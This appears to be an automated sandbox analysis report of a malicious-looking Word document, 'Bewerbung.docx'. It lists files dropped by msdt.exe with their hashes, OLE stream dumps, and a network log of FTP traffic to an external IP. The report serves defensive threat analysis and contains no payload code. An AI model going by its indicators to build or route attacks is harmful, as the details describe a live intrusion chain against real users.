MD5:	78EC490E130848CAD8F511C1F4F8D18C
SHA1:	745C07D5FD776CAD44E7F5503FBB99A85B529555
SHA-256:	70862E2FEDC6472055350FDA94AD5A6DC7448B5050B7A2DC548619EE9B86243B
SHA-512:	925F8600E11A0FA1B3B7ACA83F0C97DEEEE3DAB2020CA2D96CA23188BA7031CC841CFB572693FF43C0EAD3D09AA111C9B48D6D2F2DB884A742DE744697C1179E
Malicious:	false
Preview:	.pratesh................................................p.r.a.t.e.s.h.......................$.......6C......................................................

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\DiagPackage.diagpkg

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24702
Entropy (8bit):	4.37978533849437
Encrypted:	false
SSDEEP:	96:fO3MDP8m2xaqade1tXv8v/XPSwTkal+7lOaNeHdXQZvczyJuz4UnPz0Kuz+NGTEP:O5NzuCWNaEcU8mjapMVOHW
MD5:	191959B4C3F91BE170B30BF5D1BC2965
SHA1:	1891E3CB588516B94FDC53794DA4DF5469A4C6D0
SHA-256:	8EC3A8F67BAF1E4658FC772F9F35230CA1B0318DDAF7A4C84789A329B6F7F047
SHA-512:	092CC417FBFE7F6E02A60FF169209D7B60362B585CBF92521BFC71C0B378D978DFB9265A3E48C630CE6ABAB263711D71F3917FFAF51B6FD449CFC394E9D8C3A9
Malicious:	false
Preview:	<dcmPS:DiagnosticPackage SchemaVersion="1.0" Localized="true" xmlns:dcmPS="http://www.microsoft.com/schemas/dcm/package/2007" xmlns:dcmRS="http://www.microsoft.com/schemas/dcm/resource/2007">.. <DiagnosticIdentification>.. <ID>PCW</ID>.. <Version>3.0</Version>.. </DiagnosticIdentification>.. <DisplayInformation>.. <Parameters/>.. <Name>@diagpackage.dll,-1</Name>.. <Description>@diagpackage.dll,-2</Description>.. </DisplayInformation>.. <PrivacyLink>https://go.microsoft.com/fwlink/?LinkId=534597</PrivacyLink>.. <PowerShellVersion>2.0</PowerShellVersion>.. <SupportedOSVersion clientSupported="true" serverSupported="true">6.1</SupportedOSVersion>.. <Troubleshooter>.. <Script>.. <Parameters/>.. <ProcessArchitecture>Any</ProcessArchitecture>.. <RequiresElevation>false</RequiresElevation>.. <RequiresInteractivity>true</RequiresInteractivity>.. <FileName>TS_ProgramCompatibilityWizard.ps1</FileName>.. <ExtensionPoint/>.. </Script>..

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\DiagPackage.dll

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	6.926109943059805
Encrypted:	false
SSDEEP:	1536:ytBGLADXf3iFGQ+/ReBQBJJgUKZgyxMBGb:ytBGcDXvKoRqKuxgyx
MD5:	6E492FFAD7267DC380363269072DC63F
SHA1:	3281F69F93D181ADEE35BC9AD93B8E1F1BBF7ED3
SHA-256:	456AE5D9C48A1909EE8093E5B2FAD5952987D17A0B79AAE4FFF29EB684F938A8
SHA-512:	422E2A7B83250276B648510EA075645E0E297EF418564DDA3E8565882DBBCCB8C42976FDA9FCDA07A25F0F04A142E43ECB06437A7A14B5D5D994348526123E4E
Malicious:	false
Joe Sandbox View:	Filename: nnxPt0Yydv.doc, Detection: malicious, Browse Filename: qoIZSkdejM.docx, Detection: malicious, Browse Filename: icRTA4gcSe.docx, Detection: malicious, Browse Filename: order.docx, Detection: malicious, Browse Filename: Court Fine.doc, Detection: malicious, Browse Filename: 20220714 DWG.doc, Detection: malicious, Browse Filename: purchase order.xlsx, Detection: malicious, Browse Filename: WF0SlQWKr1.docx, Detection: malicious, Browse Filename: V3g2Pfu707.docx, Detection: malicious, Browse Filename: 5YMh6S8QVr.docx, Detection: malicious, Browse Filename: ZDhoKQk8G6.docx, Detection: malicious, Browse Filename: TranQuangDai.docx, Detection: malicious, Browse Filename: doc782.docx, Detection: malicious, Browse Filename: 68101181_048154.img, Detection: malicious, Browse Filename: doc782.docx, Detection: malicious, Browse Filename: doc1712.docx, Detection: malicious, Browse Filename: R346ltaP9w.rtf, Detection: malicious, Browse Filename: VIP Invitation to Doha Expo 2023.docx, Detection: malicious, Browse Filename: WykHEO9BQN.rtf, Detection: malicious, Browse Filename: lol666 (2).bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.PE..d....J_A.........." ......................................................... .......K....`.......................................................... ..`...............................8............................................................................rdata..............................@..@.rsrc...`.... ......................@..@.....J_A........T...8...8........J_A........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....#.......rsrc$02.... .....;A.(.j..x..)V...Zl4..w.E..J_A........................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\RS_ProgramCompatibilityWizard.ps1

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	50242
Entropy (8bit):	4.932919499511673
Encrypted:	false
SSDEEP:	384:/wugEs5GhrQzYjGBHvPbD9FZahXuDzsP6qqF8DdEakDiqeXacgcRjdhGPtQMHQF4:/c5AMHvDDf2VE+quAiMw4
MD5:	EDF1259CD24332F49B86454BA6F01EAB
SHA1:	7F5AA05727B89955B692014C2000ED516F65D81E
SHA-256:	AB41C00808ADAD9CB3D76405A9E0AEE99FB6E654A8BF38DF5ABD0D161716DC27
SHA-512:	A6762849FEDD98F274CA32EB14EC918FDBE278A332FDA170ED6D63D4C86161F2208612EB180105F238893A2D2B107228A3E7B12E75E55FDE96609C69C896EBA0
Malicious:	false
Preview:	# Copyright . 2008, Microsoft Corporation. All rights reserved.......#This is passed from the troubleshooter via 'Add-DiagRootCause'..PARAM($targetPath, $appName)....#RS_ProgramCompatibilityWizard..#rparsons - 05 May 2008..#rfink - 01 Sept 2008 - rewrite to support dynamic choices....#set-psdebug -strict -trace 0....#change HKLM\Software\Windows NT\CurrentVersion\AppCompatFlags\CompatTS EnableTracing(DWORD) to 1..#if you want to enable tracing..$SpewTraceToDesktop = $false....Import-LocalizedData -BindingVariable CompatibilityStrings -FileName CL_LocalizationData....#Compatibility modes..$CompatibilityModes = new-Object System.Collections.Hashtable..$CompatibilityModes.Add("Version_WIN8RTM", "WIN8RTM")..$CompatibilityModes.Add("Version_WIN7RTM", "WIN7RTM")..$CompatibilityModes.Add("Version_WINVISTA2", "VISTASP2")..$CompatibilityModes.Add("Version_WINXP3", "WINXPSP3")..$CompatibilityModes.Add("Version_MSIAUTO", "MSIAUTO")..$CompatibilityModes.Add("Version_UNKNOWN", "WINXPSP3")..$Comp

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\TS_ProgramCompatibilityWizard.ps1

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	16946
Entropy (8bit):	4.860026903688885
Encrypted:	false
SSDEEP:	384:3FptgXhu9IOM7BTDLwU7GHf7FajKFzB9Ww:Ghu9I9dQYWB9Ww
MD5:	2C245DE268793272C235165679BF2A22
SHA1:	5F31F80468F992B84E491C9AC752F7AC286E3175
SHA-256:	4A6E9F400C72ABC5B00D8B67EA36C06E3BC43BA9468FE748AEBD704947BA66A0
SHA-512:	AAECB935C9B4C27021977F211441FF76C71BA9740035EC439E9477AE707109CA5247EA776E2E65159DCC500B0B4324F3733E1DFB05CEF10A39BB11776F74F03C
Malicious:	false
Preview:	# Copyright . 2008, Microsoft Corporation. All rights reserved.......#TS_ProgramCompatibilityWizard..#rparsons - 05 May 2008....$ShortcutListing = New-Object System.Collections.Hashtable..$ExeListing = New-Object System.Collections.ArrayList..$CombinedListing = New-Object System.Collections.ArrayList....Import-LocalizedData -BindingVariable CompatibilityStrings -FileName CL_LocalizationData....# Block PCW on unsupported SKUs..$BlockedSKUs = @(178)..[Int32]$OSSKU = (Get-WmiObject -Class "Win32_OperatingSystem").OperatingSystemSKU..if ($BlockedSKUs.Contains($OSSKU))..{.. return..}....$typeDefinition = @"....using System;..using System.IO;..using System.Runtime.InteropServices;..using System.Text;..using System.Collections;....public class Utility..{.. public static string GetStartMenuPath().. {.. return Environment.GetFolderPath(Environment.SpecialFolder.StartMenu);.. }.... public static string GetAllUsersStartMenuPath().. {.. return Path.Combine(Environ

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\VF_ProgramCompatibilityWizard.ps1

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	453
Entropy (8bit):	4.983419443697541
Encrypted:	false
SSDEEP:	12:QcM3BFN+dxmVdyKVCkLZI4S2xhzoJNIDER5lI02xzS4svc3uVr:Qb3DQbeCklTxhzoJUoS02tCr
MD5:	60A20CE28D05E3F9703899DF58F17C07
SHA1:	98630ABC4B46C3F9BD6AF6F1D0736F2B82551CA9
SHA-256:	B71BC60C5707337F4D4B42BA2B3D7BCD2BA46399D361E948B9C2E8BC15636DA2
SHA-512:	2B2331B2DD28FB0BBF95DC8C6CA7E40AA56D4416C269E8F1765F14585A6B5722C689BCEBA9699DFD7D97903EF56A7A535E88EAE01DFCC493CEABB69856FFF9AA
Malicious:	false
Preview:	# Copyright . 2008, Microsoft Corporation. All rights reserved.......#if this environment variable is set, we say that we don't detect the problem anymore so it will..#show as fixed in the final screen..PARAM($appName)....$detected = $true..if ($Env:AppFixed -eq $true)..{.. $detected = $false ..}....Update-DiagRootCause -id "RC_IncompatibleApplication" -iid $appName -Detected $detected....#RS_ProgramCompatibilityWizard..#rparsons - 05 May 2008....

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\en-US\CL_LocalizationData.psd1

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	6650
Entropy (8bit):	3.6751460885012333
Encrypted:	false
SSDEEP:	96:q39pB3hpieJGhn8n/y7+aqwcQoXQZWx+cWUcYpy7I6D1RUh5EEjQB5dm:q39pRhp6Sy6wZifVEtjjFm
MD5:	E877AD0545EB0ABA64ED80B576BB67F6
SHA1:	4D200348AD4CA28B5EFED544D38F4EC35BFB1204
SHA-256:	8CAC8E1DA28E288BF9DB07B2A5BDE294122C8D2A95EA460C757AE5BAA2A05F27
SHA-512:	6055EC9A2306D9AA2F522495F736FBF4C3EB4078AD1F56A6224FF42EF525C54FF645337D2525C27F3192332FF56DDD5657C1384846678B343B2BFA68BD478A70
Malicious:	false
Preview:	..#. .L.o.c.a.l.i.z.e.d...0.4./.1.1./.2.0.1.8. .0.2.:.0.5. .P.M. .(.G.M.T.)...3.0.3.:.4...8.0...0.4.1.1. ...C.L._.L.o.c.a.l.i.z.a.t.i.o.n.D.a.t.a...p.s.d.1.....#. .L.o.c.a.l.i.z.e.d...0.1./.0.4./.2.0.1.3. .1.1.:.3.2. .A.M. .(.G.M.T.)...3.0.3.:.4...8.0...0.4.1.1. ...C.L._.L.o.c.a.l.i.z.a.t.i.o.n.D.a.t.a...p.s.d.1.....C.o.n.v.e.r.t.F.r.o.m.-.S.t.r.i.n.g.D.a.t.a. .@.'.....#.#.#.P.S.L.O.C.....P.r.o.g.r.a.m._.C.h.o.i.c.e._.N.O.T.L.I.S.T.E.D.=.N.o.t. .L.i.s.t.e.d.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.D.E.F.A.U.L.T.=.N.o.n.e.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.8.R.T.M.=.W.i.n.d.o.w.s. .8.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.7.R.T.M.=.W.i.n.d.o.w.s. .7.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.V.I.S.T.A.2.=.W.i.n.d.o.w.s. .V.i.s.t.a. .(.S.e.r.v.i.c.e. .P.a.c.k. .2.).....V.e.r.s.i.o.n._.C.h.o.i.c.e._.W.I.N.X.P.S.P.3.=.W.i.n.d.o.w.s. .X.P. .(.S.e.r.v.i.c.e. .P.a.c.k. .3.).....V.e.r.s.i.o.n._.C.h.o.i.c.e._.M.S.I.A.U.T.O.=.S.k.i.p. .V.e.r.s.i.o.n. .C.h.e.c.k.....V.e.r.s.i.o.n._.C.h.o.i.c.e._.U.N.

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\en-US\DiagPackage.dll.mui

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	3.517898352371806
Encrypted:	false
SSDEEP:	96:Gmw56QoV8m7t/C7eGu7tCuKFtrHQcoC1dIO4Pktmg5CuxbEWgdv0WwF:WAQovu548tmirAWu8Wm
MD5:	CC3C335D4BBA3D39E46A555473DBF0B8
SHA1:	92ADCDF1210D0115DB93D6385CFD109301DEAA96
SHA-256:	330A1D9ADF3C0D651BDD4C0B272BF2C7F33A5AF012DEEE8D389855D557C4D5FD
SHA-512:	49CBF166122D13EEEA2BF2E5F557AA8696B859AEA7F79162463982BBF43499D98821C3C2664807EDED0A250D9176955FB5B1B39A79CDF9C793431020B682ED12
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R...P...R.Rich..R.................PE..L..................!.........(...............................................P...........@.......................................... ...$..............................8............................................................................rdata..............................@..@.rsrc....0... ...&..................@..@......E.........T...8...8.........E.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....#..0!...rsrc$02.... .......OV....,.+.(,..vA..@..E.........................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\result\results.xsl

Download File

Process:	C:\Windows\SysWOW64\msdt.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	48956
Entropy (8bit):	5.103589775370961
Encrypted:	false
SSDEEP:	768:hUeTHmb0+tk+Ci10ycNV6OW9a+KDoVxrVF+bBH0t9mYNJ7u2+d:hUcHXDY10tNV6OW9abDoVxrVF+bBH0tO
MD5:	310E1DA2344BA6CA96666FB639840EA9
SHA1:	E8694EDF9EE68782AA1DE05470B884CC1A0E1DED
SHA-256:	67401342192BABC27E62D4C1E0940409CC3F2BD28F77399E71D245EAE8D3F63C
SHA-512:	62AB361FFEA1F0B6FF1CC76C74B8E20C2499D72F3EB0C010D47DBA7E6D723F9948DBA3397EA26241A1A995CFFCE2A68CD0AAA1BB8D917DD8F4C8F3729FA6D244
Malicious:	false
Preview:	<?xml version="1.0"?>..<?Copyright (c) Microsoft Corporation. All rights reserved.?>..<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:ms="urn:microsoft-performance" exclude-result-prefixes="msxsl" version="1.0">...<xsl:output method="html" indent="yes" standalone="yes" encoding="UTF-16"/>...<xsl:template name="localization">....<_locDefinition>.....<_locDefault _loc="locNone"/>.....<_locTag _loc="locData">String</_locTag>.....<_locTag _loc="locData">Font</_locTag>.....<_locTag _loc="locData">Mirror</_locTag>....</_locDefinition>...</xsl:template>... ******** Images ******** -->...<xsl:variable name="images">....<Image id="check">res://sdiageng.dll/check.png</Image>....<Image id="error">res://sdiageng.dll/error.png</Image>....<Image id="info">res://sdiageng.dll/info.png</Image>....<Image id="warning">res://sdiageng.dll/warning.png</Image>....<Image id="expand">res://sdiageng.dll/expand.png</Image>....<Image id="

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.950500079961013
TrID:	Word Microsoft Office Open XML Format document (49504/1) 49.01% Word Microsoft Office Open XML Format document (43504/1) 43.07% ZIP compressed archive (8000/1) 7.92%
File name:	Bewerbung.docx
File size:	105652
MD5:	e7521cc41970a93d81eb7db063563474
SHA1:	668afe1cf1ff3a6b8b9f9b0ceaa81549944bffc2
SHA256:	d28398402e0b64cfb6e1f8e28cc21584eddd159690c2dab80aafae9c79201ae0
SHA512:	660b372282395fec631a3b83693d5156a71408b59e72b22caa085dca025b11628d718ddae35866b60d29735e68665c28dcf0dcfb66205735b5cd098fab0a8691
SSDEEP:	1536:ysMyD2jAfFGJsCRpyrO4zn+O6dmlBvMT5oqFWIrjQBxwhQflTNJR1Aiaa9340:ysMy63s4pxAMT5oarsBxMQBNJRNFy0
TLSH:	ECA3023F26483EEAD705837A901514F7671880B562042F5AEA738ECCD9D962F3E3B674
File Content Preview:	PK..........!.R(G]t...........[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	74fcd0d2d6d6d0cc

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "/opt/package/joesandbox/database/analysis/705530/sample/Bewerbung.docx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Title:
Subject:
Author:
Keywords:
Template:
Last Saved By:
Revion Number:	1
Total Edit Time:	0
Create Time:	2022-09-16T01:00:00Z
Last Saved Time:	2022-09-16T01:03:00Z
Number of Pages:	1
Number of Words:	3
Number of Characters:	24
Creating Application:
Security:	0

Document Summary

Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0000

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 77

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	77
Entropy:	2.954779533874008
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . F . . . . P B r u s h . . . . . P B r u s h . . . . . P B r u s h . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 0a 00 03 00 00 00 00 00 c0 00 00 00 00 00 00 46 07 00 00 00 50 42 72 75 73 68 00 07 00 00 00 50 42 72 75 73 68 00 07 00 00 00 50 42 72 75 73 68 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	\x1Ole
File Type:	data
Stream Size:	20
Entropy:	0.8475846798245739
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x1Ole10Native, File Type: data, Stream Size: 846852

General
Stream Path:	\x1Ole10Native
File Type:	data
Stream Size:	846852
Entropy:	2.951888117201784
Base64 Encoded:	False
Data ASCII:	. . . B M . . . . . . 6 . . . ( . . . . . . V . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	00 ec 0c 00 42 4d e6 eb 0c 00 00 00 00 00 36 00 00 00 28 00 00 00 d8 01 00 00 56 02 00 00 01 00 18 00 00 00 00 00 b0 eb 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	\x3ObjInfo
File Type:	data
Stream Size:	6
Entropy:	1.2516291673878228
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 00 03 00 04 00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 19, 2022 15:40:42.863996983 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:42.909590006 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:42.909682035 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:42.956911087 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:42.957022905 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:42.964186907 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.009551048 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.009603977 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.009716988 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.024054050 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.085592985 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.085745096 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.147351980 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.193434000 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.193569899 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.243460894 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.243530989 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.245881081 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.291898012 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.291946888 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.292073965 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.292177916 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.366152048 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.366332054 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.373096943 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.419137001 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.419327021 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.423772097 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.469614029 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.469726086 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.470511913 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.516326904 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.516927004 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.516932964 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.563700914 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.563822031 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.564273119 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.610817909 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.610896111 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.610955954 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.611010075 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.611030102 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.611062050 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.611059904 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.611103058 CEST	21	49709	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.611104965 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.611148119 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.611152887 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.611175060 CEST	49709	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.611192942 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.611217976 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.611232042 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:43.611254930 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:43.611290932 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.076782942 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.122600079 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.122833967 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.128467083 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.173953056 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.174249887 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.174992085 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.220525026 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.220746994 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.221657991 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.267335892 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.267678022 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.267774105 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.313391924 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.313651085 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.314100981 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.359648943 CEST	21	49708	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.359880924 CEST	49708	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.362873077 CEST	49710	19273	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.372450113 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.409291983 CEST	19273	49710	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.418384075 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.418508053 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.465708017 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.465821981 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.465914011 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.511471033 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.511527061 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:44.511642933 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.511768103 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:44.596209049 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.642450094 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.642551899 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.642908096 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.689951897 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.690171003 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.690465927 CEST	21	49712	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.690566063 CEST	49712	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.722345114 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.770217896 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.770395041 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.819525957 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.819631100 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.819686890 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.866835117 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.866864920 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.867002010 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.867089987 CEST	49713	21	192.168.2.4	185.27.134.11
Sep 19, 2022 15:40:48.935882092 CEST	21	49713	185.27.134.11	192.168.2.4
Sep 19, 2022 15:40:48.936037064 CEST	49713	21	192.168.2.4	185.27.134.11
